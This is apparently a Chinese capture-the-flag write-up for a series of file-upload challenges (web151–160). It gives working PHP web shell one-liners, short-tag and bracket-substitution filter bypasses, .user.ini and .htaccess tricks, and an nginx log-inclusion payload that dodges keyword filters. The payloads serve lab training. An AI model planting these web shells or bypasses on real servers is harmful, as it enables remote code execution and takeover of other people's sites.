建议文件上传的题一口气肝完。burp抓包直接修改url,就可以重复使用,省事。
web151
提示:前台校验不可靠
解答:有个前台的后缀校验,修改上传文件的后缀为png,抓包修改后缀即可。
上传成功,可以蚁剑连接,或者是post执行php语句也可以。
jz=system('cat ../flag.php');
web152
提示:后端不能单一校验
解答:还是改后缀,抓包修改上传。直接成功,都不知道最后限制的什么。。。测试了一下,限制的是Content-Type。
之后蚁剑或者post。
web153
提示:后端不能单一校验
解答:本次后端对上传后缀进行了限制。
后缀修改后为php扩展phtml等后缀,或者改后缀大小写,都可上传,但不可使用,post不被允许。
经过测试可知,本题是设置了黑名单。考虑上传.htacess
或者.user.ini
先测试一下,看看上传目录下是否有php文件,访问/upload,有页面,应该是有个index.php页面。
上传.user.ini
再上传图片马。然后蚁剑连接/upload/index.php,或者post。
web154-145
题示:154-后端不能单二校验;155-后端不能单三校验
解答:
154:这次后缀黑名单过滤比较多,用图片马吧。
这次增加了内容校验,不能有php。那么就使用短标签绕过。
(155的三个校验,应该是后缀、type、和内容。方法都是短标签绕过)
Use of undefined constant- assumed……
php7.2及以上版本时报此错误,规定了常量的命名方式,需要带引号。
不加单引号会报错,但不影响执行命令。
再上传.user.ini
,访问index.php页面,请注意路径加上index.php。
web156
题示:后端不能单四校验
解答:后缀有黑名单、type、和内容(两个校验)。
上题的payload不行了,清空上传内容是可以上传成功的,所以还是内被过滤。
因为上传的php语句就一句话,所以逐个字符测试了一下,发现了是前中括号[
被过滤了,改成大括号就行。
<?=eval($_POST{'jz'});?>
上传<? eval($_POST['jz']);?>
也是可以的,本题应该是配置了参数short_open_tags=on
web157-159
题示:157-后端不能单五校验;158-后端不能单六校验
解答:
157:过滤了分号;
、前大括号{
。那就直接让它执行命令回显吧。
158:过滤了log,这个log在下面web160会用到,当然本题也可以用。
159:过滤了(
#157-158可适用:
<?=system('tac ../f*')?>
#157-159均适用:
<?=`ls`?>
<?=`tac ../f*`?>
记得上传.user.ini
。我开始忘了上传,一直没出结果。。。。
web160
解答:空格、反引号被过滤了。这直接把命令执行相关的函数和方法给限制了。
没有关系,还有文件包含,include可以不用括号,中间也可以不用空格。
还记得web38和web80用到的日志包含吗?这道题就用日志包含。
没想到log竟然也被过滤,还好可以字符串拼接。
<?=include"/var/l"."og/nginx/access.lo"."g"?>
记得访问一下/upload/index.php,看看有没有包含成功。
接下来就是传输php语句,可以url地址上get传,或者在User-Agent上传。
之后就是蚁剑连接,或者post了。